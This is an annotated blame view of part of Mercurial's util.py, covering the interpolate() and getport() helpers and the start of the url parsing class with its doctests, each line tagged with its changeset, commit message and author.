2903 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2904 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2905 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2906 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2907 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2908 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2909 fn = fn or (lambda s: s) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2910 patterns = b'|'.join(mapping.keys()) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2911 if escape_prefix: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2912 patterns += b'|' + prefix |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2913 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2914 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2915 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2916 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2917 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2918 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2919 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2920 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2921 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2922 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2923 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2924 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2925 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2926 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2927 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2928 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2929 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2930 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2931 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2932 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2933 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2934 try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2935 return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2936 except socket.error: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2937 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2938 _(b"no port number associated with service '%s'") % port |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2939 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2940 |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2941 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2942 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2943 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2944 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2945 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2946 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2947 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2948 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2949 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2950 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2951 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2952 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2953 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2954 parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2955 False, both fragment and query are included in path. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2956 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2957 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2958 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2959 Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2960 take host names. That means 'bundle://../' has a path of '../'. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2961 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2962 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2963 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2964 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2965 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2966 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2967 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2968 >>> url(b'file:///home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2969 <url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2970 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2971 <url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2972 >>> url(b'bundle:foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2973 <url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2974 >>> url(b'bundle://../foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2975 <url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2976 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2977 <url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2978 >>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2979 <url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2980 >>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2981 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2982 >>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2983 <url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2984 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2985 Authentication credentials: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2986 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2987 >>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2988 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2989 >>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2990 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2991 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2992 Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2993 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2994 >>> url(b'http://host/a?b#c') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2995 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2996 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2997 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2998 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2999 Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3000 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3001 >>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3002 <url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3003 >>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3004 <url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3005 >>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3006 <url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3007 >>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3008 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3009 |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3010 Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3011 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3012 >>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3013 <url scheme: 'http'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3014 """ |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3015 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3016 _safechars = b"!~*'()+" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3017 _safepchars = b"/!~*'()+:\\" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3018 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3019 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3020 def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3021 # We slowly chomp away at path until we have only the path left |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3022 self.scheme = self.user = self.passwd = self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3023 self.port = self.path = self.query = self.fragment = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3024 self._localpath = True |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3025 self._hostport = b'' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3026 self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3027 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3028 if parsefragment and b'#' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3029 path, self.fragment = path.split(b'#', 1) |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
3030 |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
3031 # special case for Windows drive letters and UNC paths |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3032 if hasdriveletter(path) or path.startswith(b'\\\\'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3033 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3034 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3035 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3036 # For compatibility reasons, we can't handle bundle paths as |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3037 # normal URLS |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3038 if path.startswith(b'bundle:'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3039 self.scheme = b'bundle' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3040 path = path[7:] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3041 if path.startswith(b'//'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3042 path = path[2:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3043 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3044 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3045 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3046 if self._matchscheme(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3047 parts = path.split(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3048 if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3049 self.scheme, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3050 self._localpath = False |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3051 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3052 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3053 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3054 if self._localpath: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3055 self.path = b'' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3056 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3057 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3058 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3059 self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3060 return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3061 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3062 if parsequery and b'?' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3063 path, self.query = path.split(b'?', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3064 if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3065 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3066 if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3067 self.query = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3068 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3069 # // is required to specify a host/authority |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3070 if path and path.startswith(b'//'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3071 parts = path[2:].split(b'/', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3072 if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3073 self.host, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3074 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3075 self.host = parts[0] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3076 path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3077 if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3078 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3079 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3080 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
3081 if path and not hasdriveletter(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3082 path = b'/' + path |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3083 |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3084 if self.host and b'@' in self.host: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3085 self.user, self.host = self.host.rsplit(b'@', 1) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3086 if b':' in self.user: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3087 self.user, self.passwd = self.user.split(b':', 1) |
14076
924c82157d46
